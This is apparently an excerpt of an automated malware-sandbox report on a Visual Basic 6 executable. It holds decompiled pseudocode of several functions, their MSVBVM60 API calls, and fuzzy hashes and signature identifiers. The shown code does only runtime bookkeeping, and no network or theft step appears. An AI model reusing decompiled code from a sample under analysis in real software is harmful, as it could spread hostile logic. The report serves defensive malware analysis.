D7A, xrefs: 00411773

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkHresultMoveNew2
String ID: D7A
API String ID: 640110359-420359484
Opcode ID: ba47a65f31c30dcaec9f9c95cc599d5b8414cdbe18df78b98c476e2b1f8ceaa1
Instruction ID: 4d72f6ff900b4dd2667cf66763d52699377252930ede48fb475c5812fb00aa8b
Opcode Fuzzy Hash: ba47a65f31c30dcaec9f9c95cc599d5b8414cdbe18df78b98c476e2b1f8ceaa1
Instruction Fuzzy Hash: D821F574900209EFCB10EF95C986BDDBBB4AF04709F10802AF511B72E1D7B86A86CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E864, Relevance: 15.1, APIs: 10, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040E864(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				intOrPtr _v68;
				char _v72;
				signed int _v76;
				signed int _v84;
				signed int _v88;
				signed int _t50;
				signed int _t62;
				void* _t67;
				void* _t74;
				intOrPtr _t76;

				_t67 = __edx;
				 *[fs:0x0] = _t76;
				L004012E0();
				_v12 = _t76;
				_v8 = E00401118;
				L00401460();
				_t50 =  *((intOrPtr*)( *_a4 + 0x58))(_a4,  &_v72,  &_v24, _a4, __edi, __esi, __ebx, 0x44,  *[fs:0x0], 0x4012e6, __ecx, __ecx, _t74);
				asm("fclex");
				_v76 = _t50;
				if(_v76 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x58);
					_push(0x4038e4);
					_push(_a4);
					_push(_v76);
					L0040145A();
					_v84 = _t50;
				}
				_v32 = _v72;
				L00401460();
				L00401454();
				_v28 = E00411E90( &_v36);
				L0040144E();
				_v32 = E00411E90(_v28) + 0x2b0;
				E00411E04(_t67, _v32, _a8);
				_v60 = 0x80020004;
				_v68 = 0xa;
				_v44 = 0x80020004;
				_v52 = 0xa;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t62 =  *((intOrPtr*)( *_a4 + 0x2b0))(_a4, 0x10, 0x10,  &_v36,  &_v36, _a4);
				asm("fclex");
				_v76 = _t62;
				if(_v76 >= 0) {
					_v88 = _v88 & 0x00000000;
				} else {
					_push(0x2b0);
					_push(0x4038e4);
					_push(_a4);
					_push(_v76);
					L0040145A();
					_v88 = _t62;
				}
				_push(0x40e9a7);
				L0040144E();
				return _t62;
			}

0x0040e864
0x0040e875
0x0040e87f
0x0040e887
0x0040e88a
0x0040e898
0x0040e8a9
0x0040e8ac
0x0040e8ae
0x0040e8b5
0x0040e8ce
0x0040e8b7
0x0040e8b7
0x0040e8b9
0x0040e8be
0x0040e8c1
0x0040e8c4
0x0040e8c9
0x0040e8c9
0x0040e8d5
0x0040e8df
0x0040e8e8
0x0040e8f3
0x0040e8f9
0x0040e90b
0x0040e914
0x0040e919
0x0040e920
0x0040e927
0x0040e92e
0x0040e938
0x0040e942
0x0040e943
0x0040e944
0x0040e945
0x0040e949
0x0040e953
0x0040e954
0x0040e955
0x0040e956
0x0040e95f
0x0040e965
0x0040e967
0x0040e96e
0x0040e98a
0x0040e970
0x0040e970
0x0040e975
0x0040e97a
0x0040e97d
0x0040e980
0x0040e985
0x0040e985
0x0040e98e
0x0040e9a1
0x0040e9a6

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0040E87F
__vbaObjSetAddref.MSVBVM60(?,?,?,?,?,?,004012E6), ref: 0040E898
__vbaHresultCheckObj.MSVBVM60(00000000,?,004038E4,00000058), ref: 0040E8C4
__vbaObjSetAddref.MSVBVM60(?,?), ref: 0040E8DF
#644.MSVBVM60(?,?,?), ref: 0040E8E8
__vbaFreeObj.MSVBVM60(00000000,?,?,?), ref: 0040E8F9
__vbaChkstk.MSVBVM60(?,?,?,00000000,?,?,?), ref: 0040E938
__vbaChkstk.MSVBVM60(?,?,?,00000000,?,?,?), ref: 0040E949
__vbaHresultCheckObj.MSVBVM60(00000000,?,004038E4,000002B0), ref: 0040E980
__vbaFreeObj.MSVBVM60(0040E9A7), ref: 0040E9A1

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Chkstk$AddrefCheckFreeHresult$#644
String ID:
API String ID: 1032928638-0
Opcode ID: b9e15ab82ef92b6ab22ed4c898377710877e15d17f67cd82e106a1fd9db327e0
Instruction ID: 7eabd83ba7d0c9148d38fe4e32d1271306bf1e9af29badda2b4e1e7307f14eb2
Opcode Fuzzy Hash: b9e15ab82ef92b6ab22ed4c898377710877e15d17f67cd82e106a1fd9db327e0
Instruction Fuzzy Hash: C441F7B1900608AFDF01EFD1C846BDEBBB5FF04348F10442AF501BB1A1D7B999569B58

Uniqueness

Uniqueness Score: -1.00%

Function 004119A6, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E004119A6(void* __ebx, void* __edi, void* __esi, void* _a36, signed int* _a52) {
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				short _v32;
				void* _v52;
				void* _v56;
				intOrPtr* _v60;
				signed int _v64;
				intOrPtr* _v68;
				signed int _v72;
				char _v84;
				signed int _v88;
				signed int _v92;
				signed int _t46;
				signed int _t51;
				short _t52;
				void* _t62;
				intOrPtr _t63;

				_t63 = _t62 - 0xc;
				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t63;
				_push(0x44);
				L004012E0();
				_v16 = _t63;
				_v12 = 0x401298;
				L004013EE();
				 *_a52 =  *_a52 & 0x00000000;
				if( *0x413744 != 0) {
					_v84 = 0x413744;
				} else {
					_push(0x413744);
					_push(0x403bc4);
					L0040142A();
					_v84 = 0x413744;
				}
				_t8 =  &_v84; // 0x413744
				_v60 =  *((intOrPtr*)( *_t8));
				_t46 =  *((intOrPtr*)( *_v60 + 0x14))(_v60,  &_v52);
				asm("fclex");
				_v64 = _t46;
				if(_v64 >= 0) {
					_v88 = _v88 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x403bb4);
					_push(_v60);
					_push(_v64);
					L0040145A();
					_v88 = _t46;
				}
				_v68 = _v52;
				_t51 =  *((intOrPtr*)( *_v68 + 0x118))(_v68,  &_v56);
				asm("fclex");
				_v72 = _t51;
				if(_v72 >= 0) {
					_v92 = _v92 & 0x00000000;
				} else {
					_push(0x118);
					_push(0x403bf0);
					_push(_v68);
					_push(_v72);
					L0040145A();
					_v92 = _t51;
				}
				_t52 = _v56;
				_v32 = _t52;
				L0040144E();
				_push(0x411ac6);
				L0040140C();
				return _t52;
			}

0x004119a9
0x004119ac
0x004119b7
0x004119b8
0x004119bf
0x004119c2
0x004119ca
0x004119cd
0x004119da
0x004119e2
0x004119ec
0x00411a06
0x004119ee
0x004119ee
0x004119f3
0x004119f8
0x004119fd
0x004119fd
0x00411a0d
0x00411a12
0x00411a21
0x00411a24
0x00411a26
0x00411a2d
0x00411a46
0x00411a2f
0x00411a2f
0x00411a31
0x00411a36
0x00411a39
0x00411a3c
0x00411a41
0x00411a41
0x00411a4d
0x00411a5c
0x00411a62
0x00411a64
0x00411a6b
0x00411a87
0x00411a6d
0x00411a6d
0x00411a72
0x00411a77
0x00411a7a
0x00411a7d
0x00411a82
0x00411a82
0x00411a8b
0x00411a8f
0x00411a96
0x00411a9b
0x00411ac0
0x00411ac5

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004119C2
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 004119DA
__vbaNew2.MSVBVM60(00403BC4,00413744,?,?,?,?,004012E6), ref: 004119F8
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403BB4,00000014), ref: 00411A3C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403BF0,00000118), ref: 00411A7D
__vbaFreeObj.MSVBVM60 ref: 00411A96
__vbaFreeStr.MSVBVM60(00411AC6), ref: 00411AC0

Strings

D7A, xrefs: 00411A0D

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$ChkstkCopyNew2
String ID: D7A
API String ID: 746201682-420359484
Opcode ID: e815810ba447d2fa7462fa3e362cd3f000053f4c761d8d43cdbca7491dbe6f05
Instruction ID: cc5797624340235af8b996b2e958a46e232c9f1db1bfe7c219c64f326efb4037
Opcode Fuzzy Hash: e815810ba447d2fa7462fa3e362cd3f000053f4c761d8d43cdbca7491dbe6f05
Instruction Fuzzy Hash: 5E31DF70901248EFCB01EFD5D886BDDBBB4BF04749F20816AF101BA2A1D7786986DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041136C, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0041136C(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v40;
				char _v44;
				intOrPtr* _v48;
				signed int _v52;
				intOrPtr* _v64;
				signed int _v68;
				char* _t36;
				signed int _t39;
				void* _t50;
				void* _t52;
				intOrPtr _t53;

				_t53 = _t52 - 0xc;
				 *[fs:0x0] = _t53;
				L004012E0();
				_v16 = _t53;
				_v12 = 0x401238;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x2c,  *[fs:0x0], 0x4012e6, _t50);
				L00401412();
				if( *0x413010 != 0) {
					_v64 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v64 = 0x413010;
				}
				_t36 =  &_v44;
				L00401430();
				_v48 = _t36;
				_t39 =  *((intOrPtr*)( *_v48 + 0x1bc))(_v48, _t36,  *((intOrPtr*)( *((intOrPtr*)( *_v64)) + 0x2fc))( *_v64));
				asm("fclex");
				_v52 = _t39;
				if(_v52 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0x1bc);
					_push(0x403ac0);
					_push(_v48);
					_push(_v52);
					L0040145A();
					_v68 = _t39;
				}
				L0040144E();
				_push(0x411457);
				L0040143C();
				return _t39;
			}

0x0041136f
0x0041137e
0x00411388
0x00411390
0x00411393
0x0041139a
0x004113a9
0x004113b2
0x004113be
0x004113d8
0x004113c0
0x004113c0
0x004113c5
0x004113ca
0x004113cf
0x004113cf
0x004113f3
0x004113f7
0x004113fc
0x00411407
0x0041140d
0x0041140f
0x00411416
0x00411432
0x00411418
0x00411418
0x0041141d
0x00411422
0x00411425
0x00411428
0x0041142d
0x0041142d
0x00411439
0x0041143e
0x00411451
0x00411456

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411388
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 004113B2
__vbaNew2.MSVBVM60(00402B88,H/P,?,?,?,?,004012E6), ref: 004113CA
__vbaObjSet.MSVBVM60(?,00000000), ref: 004113F7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,000001BC), ref: 00411428
__vbaFreeObj.MSVBVM60 ref: 00411439
__vbaFreeVar.MSVBVM60(00411457), ref: 00411451

Strings

H/P, xrefs: 004113B7, 004113C0, 004113CF, 004113D8

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkHresultNew2
String ID: H/P
API String ID: 1725699769-4173294835
Opcode ID: dd7d6a1442fdca77f0144a3d4c5e0616c73a2cd8514d8d20f716ee732d7bcce4
Instruction ID: c7e46fb31e6c449fcfa4248c20ef560e86c40a4311ae18dc8a8eb067b6a3c529
Opcode Fuzzy Hash: dd7d6a1442fdca77f0144a3d4c5e0616c73a2cd8514d8d20f716ee732d7bcce4
Instruction Fuzzy Hash: 0421D671A00208EFCB00EFA5D889BDDBBB4BF08709F50806AF511BB2B1D7799945DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411133, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00411133(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr* _v48;
				signed int _v52;
				signed int _t21;
				char* _t24;
				intOrPtr _t34;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t34;
				_t21 = 0x20;
				L004012E0();
				_v12 = _t34;
				_v8 = 0x401218;
				_push(0);
				_push(1);
				_push(2);
				L004013D0();
				if(_t21 != 0x102) {
					if( *0x413744 != 0) {
						_v48 = 0x413744;
					} else {
						_push(0x413744);
						_push(0x403bc4);
						L0040142A();
						_v48 = 0x413744;
					}
					_v36 =  *_v48;
					_t24 =  &_v32;
					L00401460();
					_t21 =  *((intOrPtr*)( *_v36 + 0x10))(_v36, _t24, _t24, _a4);
					asm("fclex");
					_v40 = _t21;
					if(_v40 >= 0) {
						_v52 = _v52 & 0x00000000;
					} else {
						_push(0x10);
						_push(0x403bb4);
						_push(_v36);
						_push(_v40);
						L0040145A();
						_v52 = _t21;
					}
					L0040144E();
				}
				asm("wait");
				_push(0x4111fa);
				return _t21;
			}

0x00411138
0x00411143
0x00411144
0x0041114d
0x0041114e
0x00411156
0x00411159
0x00411160
0x00411162
0x00411164
0x00411166
0x00411170
0x00411179
0x00411193
0x0041117b
0x0041117b
0x00411180
0x00411185
0x0041118a
0x0041118a
0x0041119f
0x004111a5
0x004111a9
0x004111b7
0x004111ba
0x004111bc
0x004111c3
0x004111dc
0x004111c5
0x004111c5
0x004111c7
0x004111cc
0x004111cf
0x004111d2
0x004111d7
0x004111d7
0x004111e3
0x004111e3
0x004111e8
0x004111e9
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0041114E
#588.MSVBVM60(00000002,00000001,00000000,?,?,?,?,004012E6), ref: 00411166
__vbaNew2.MSVBVM60(00403BC4,00413744,00000002,00000001,00000000,?,?,?,?,004012E6), ref: 00411185
__vbaObjSetAddref.MSVBVM60(?,?,00000002,00000001,00000000,?,?,?,?,004012E6), ref: 004111A9
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403BB4,00000010,?,?,?,?,?,?,004012E6), ref: 004111D2
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,004012E6), ref: 004111E3

Strings

D7A, xrefs: 00411193

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$#588AddrefCheckChkstkFreeHresultNew2
String ID: D7A
API String ID: 999118292-420359484
Opcode ID: 3c04fcfe112f432a94413c07b202a40c3cdd68c21d8d5b3c30d2c5d8c6ad95c1
Instruction ID: e4a166f2f083683c6706022a60ba60db25c13b9eafaf5508a1045261cdfc9cdf
Opcode Fuzzy Hash: 3c04fcfe112f432a94413c07b202a40c3cdd68c21d8d5b3c30d2c5d8c6ad95c1
Instruction Fuzzy Hash: 4B113BB0940208BFDF009F95C846BDDB7B4EB08B09F10806AF610B61E1C7BC59849A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00411C28, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00411C28(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v32;
				short _v36;
				signed int _t15;
				short _t19;
				void* _t26;
				void* _t28;
				intOrPtr _t29;

				_t29 = _t28 - 0xc;
				 *[fs:0x0] = _t29;
				L004012E0();
				_v16 = _t29;
				_v12 = 0x4012b8;
				_v8 = 0;
				_t15 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x14,  *[fs:0x0], 0x4012e6, _t26);
				_push(0x403c18);
				L00401382();
				L0040141E();
				_push(_t15);
				_push(0x403c24);
				L004013B8();
				asm("sbb eax, eax");
				_v36 =  ~( ~( ~_t15));
				L0040140C();
				_t19 = _v36;
				if(_t19 != 0) {
					_push(L"RESYNTHESIZED");
					L0040137C();
				}
				_push(0x411cbe);
				return _t19;
			}

0x00411c2b
0x00411c3a
0x00411c44
0x00411c4c
0x00411c4f
0x00411c56
0x00411c65
0x00411c68
0x00411c6d
0x00411c77
0x00411c7c
0x00411c7d
0x00411c82
0x00411c89
0x00411c8f
0x00411c96
0x00411c9b
0x00411ca1
0x00411ca3
0x00411ca8
0x00411ca8
0x00411cad
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411C44
#521.MSVBVM60(00403C18,?,?,?,?,004012E6), ref: 00411C6D
__vbaStrMove.MSVBVM60(00403C18,?,?,?,?,004012E6), ref: 00411C77
__vbaStrCmp.MSVBVM60(00403C24,00000000,00403C18,?,?,?,?,004012E6), ref: 00411C82
__vbaFreeStr.MSVBVM60(00403C24,00000000,00403C18,?,?,?,?,004012E6), ref: 00411C96
#532.MSVBVM60(RESYNTHESIZED,00403C24,00000000,00403C18,?,?,?,?,004012E6), ref: 00411CA8

Strings

RESYNTHESIZED, xrefs: 00411CA3

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$#521#532ChkstkFreeMove
String ID: RESYNTHESIZED
API String ID: 2085174944-2169086100
Opcode ID: 36993c6fd54ef0cb50ee8d2fc5c1023c89bfe3cd39e85635dbc87f2d2d35bcaa
Instruction ID: 041011f3c552d376fc044f24def4a9d83879dc69539cb5c26c4809287bd5985f
Opcode Fuzzy Hash: 36993c6fd54ef0cb50ee8d2fc5c1023c89bfe3cd39e85635dbc87f2d2d35bcaa
Instruction Fuzzy Hash: F5018434A40209ABDB00AFA5C842FAE7BA8AF04B44F10817BB501F71E1DB7C9501879D

Uniqueness

Uniqueness Score: -1.00%

Function 004118C5, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E004118C5(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr* _v48;
				signed int _v52;
				char* _t26;
				signed int _t29;
				intOrPtr _t40;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t40;
				_push(0x20);
				L004012E0();
				_v12 = _t40;
				_v8 = 0x401288;
				if( *0x413010 != 0) {
					_v48 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v48 = 0x413010;
				}
				_t26 =  &_v32;
				L00401430();
				_v36 = _t26;
				_t29 =  *((intOrPtr*)( *_v36 + 0x1a8))(_v36, _t26,  *((intOrPtr*)( *((intOrPtr*)( *_v48)) + 0x300))( *_v48));
				asm("fclex");
				_v40 = _t29;
				if(_v40 >= 0) {
					_v52 = _v52 & 0x00000000;
				} else {
					_push(0x1a8);
					_push(0x403ac0);
					_push(_v36);
					_push(_v40);
					L0040145A();
					_v52 = _t29;
				}
				L0040144E();
				asm("wait");
				_push(0x41198b);
				return _t29;
			}

0x004118ca
0x004118d5
0x004118d6
0x004118dd
0x004118e0
0x004118e8
0x004118eb
0x004118f9
0x00411913
0x004118fb
0x004118fb
0x00411900
0x00411905
0x0041190a
0x0041190a
0x0041192e
0x00411932
0x00411937
0x00411942
0x00411948
0x0041194a
0x00411951
0x0041196d
0x00411953
0x00411953
0x00411958
0x0041195d
0x00411960
0x00411963
0x00411968
0x00411968
0x00411974
0x00411979
0x0041197a
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004118E0
__vbaNew2.MSVBVM60(00402B88,H/P,?,?,?,?,004012E6), ref: 00411905
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,004012E6), ref: 00411932
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,000001A8,?,?,?,?,?,?,?,?,004012E6), ref: 00411963
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,004012E6), ref: 00411974

Strings

H/P, xrefs: 004118F2, 004118FB, 0041190A, 00411913

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkFreeHresultNew2
String ID: H/P
API String ID: 4127847336-4173294835
Opcode ID: f83103ca1489b809bc70d5ad2eb68ba3df29b329bc8f8f7db39450c184fcd1cd
Instruction ID: ebcf349b126610b017e697b4c67a4eed69985c5ddf9015c4e4583764a9d025d4
Opcode Fuzzy Hash: f83103ca1489b809bc70d5ad2eb68ba3df29b329bc8f8f7db39450c184fcd1cd
Instruction Fuzzy Hash: 1311C4B0A50208AFCB00DF95C859BDDBBB8FB08705F10856AF511B72A1C7795981DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00411807, Relevance: 10.5, APIs: 7, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00411807(void* __ebx, void* __edi, void* __esi, long long __fp0, intOrPtr* _a4, void* _a12, void* _a32, signed int* _a60) {
				intOrPtr _v8;
				intOrPtr _v12;
				long long* _v16;
				void* _v28;
				char _v44;
				signed int* _t19;
				char* _t22;
				void* _t29;
				void* _t31;
				long long* _t32;

				_t32 = _t31 - 0xc;
				 *[fs:0x0] = _t32;
				L004012E0();
				_v16 = _t32;
				_v12 = 0x401278;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x2c,  *[fs:0x0], 0x4012e6, _t29);
				L004013EE();
				_t22 =  &_v44;
				L00401412();
				_t19 = _a60;
				 *_t19 =  *_t19 & 0x00000000;
				asm("fldz");
				_push(_t22);
				_push(_t22);
				 *_t32 = __fp0;
				L004013D6();
				L004013DC();
				asm("fcomp qword [0x401200]");
				asm("wait");
				_push(0x41189c);
				L0040140C();
				L0040143C();
				return _t19;
			}

0x0041180a
0x00411819
0x00411823
0x0041182b
0x0041182e
0x00411835
0x00411844
0x0041184d
0x00411855
0x00411858
0x0041185d
0x00411860
0x00411863
0x00411865
0x00411866
0x00411867
0x0041186a
0x0041186f
0x00411874
0x0041187a
0x0041187b
0x0041188e
0x00411896
0x0041189b

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411823
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 0041184D
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00411858
#586.MSVBVM60(?,?,?,?,?,?,004012E6), ref: 0041186A
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,004012E6), ref: 0041186F
__vbaFreeStr.MSVBVM60(0041189C,?,?,?,?,?,?,004012E6), ref: 0041188E
__vbaFreeVar.MSVBVM60(0041189C,?,?,?,?,?,?,004012E6), ref: 00411896

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#586ChkstkCopy
String ID:
API String ID: 2927221586-0
Opcode ID: aa234f2926686f2bb6b50495a208ca9234f8646699a63a55620ec793f42c9b9c
Instruction ID: 3a8d5f972196357c4171c9765e7d85f637a5daf85e95d6276727a51daf7102bf
Opcode Fuzzy Hash: aa234f2926686f2bb6b50495a208ca9234f8646699a63a55620ec793f42c9b9c
Instruction Fuzzy Hash: 21011730500209EBDB00EF91C886BAE7BB4EB04748F40816AF401B71B1DBB89941CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00411CE7, Relevance: 9.0, APIs: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00411CE7(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				void* _v32;
				short _v36;
				signed int _t16;
				short _t20;
				void* _t27;
				void* _t29;
				intOrPtr _t30;

				_t30 = _t29 - 0xc;
				 *[fs:0x0] = _t30;
				L004012E0();
				_v16 = _t30;
				_v12 = 0x4012c8;
				_v8 = 0;
				_t16 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x14,  *[fs:0x0], 0x4012e6, _t27);
				_push(0x403c4c);
				L00401376();
				L0040141E();
				_push(_t16);
				_push(0x403c54);
				L004013B8();
				asm("sbb eax, eax");
				_v36 =  ~( ~( ~_t16));
				L0040140C();
				_t20 = _v36;
				if(_t20 != 0) {
					_push(0x2f);
					L00401370();
					_v28 = _t20;
				}
				_push(0x411d7d);
				return _t20;
			}

0x00411cea
0x00411cf9
0x00411d03
0x00411d0b
0x00411d0e
0x00411d15
0x00411d24
0x00411d27
0x00411d2c
0x00411d36
0x00411d3b
0x00411d3c
0x00411d41
0x00411d48
0x00411d4e
0x00411d55
0x00411d5a
0x00411d60
0x00411d62
0x00411d64
0x00411d69
0x00411d69
0x00411d6c
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411D03
#527.MSVBVM60(00403C4C,?,?,?,?,004012E6), ref: 00411D2C
__vbaStrMove.MSVBVM60(00403C4C,?,?,?,?,004012E6), ref: 00411D36
__vbaStrCmp.MSVBVM60(00403C54,00000000,00403C4C,?,?,?,?,004012E6), ref: 00411D41
__vbaFreeStr.MSVBVM60(00403C54,00000000,00403C4C,?,?,?,?,004012E6), ref: 00411D55
#569.MSVBVM60(0000002F,00403C54,00000000,00403C4C,?,?,?,?,004012E6), ref: 00411D64

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$#527#569ChkstkFreeMove
String ID:
API String ID: 1161317979-0
Opcode ID: 46c0e0f9f5b1a093545b541a8286bb7b0fe0cfef97086eccac72a25d633d3f1c
Instruction ID: 2f91b112a0f9d1d96cf6ccc9ca37b5ee7ae5a71fc312228f4096e6769736eb32
Opcode Fuzzy Hash: 46c0e0f9f5b1a093545b541a8286bb7b0fe0cfef97086eccac72a25d633d3f1c
Instruction Fuzzy Hash: E1018434A40209ABDB10AFA5C842FAE7BB8AF05B44F10817BF501F71F1DB7C99408759

Uniqueness

Uniqueness Score: -1.00%

Function 00411647, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00411647(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				char _v40;
				char _v48;
				char* _t18;
				void* _t26;
				void* _t28;
				intOrPtr _t29;

				_t29 = _t28 - 0xc;
				 *[fs:0x0] = _t29;
				L004012E0();
				_v16 = _t29;
				_v12 = 0x401258;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x30,  *[fs:0x0], 0x4012e6, _t26);
				_v40 = 2;
				_v48 = 2;
				_t18 =  &_v48;
				_push(_t18);
				L004013A0();
				L0040141E();
				L0040143C();
				_push(0x4116c9);
				L0040140C();
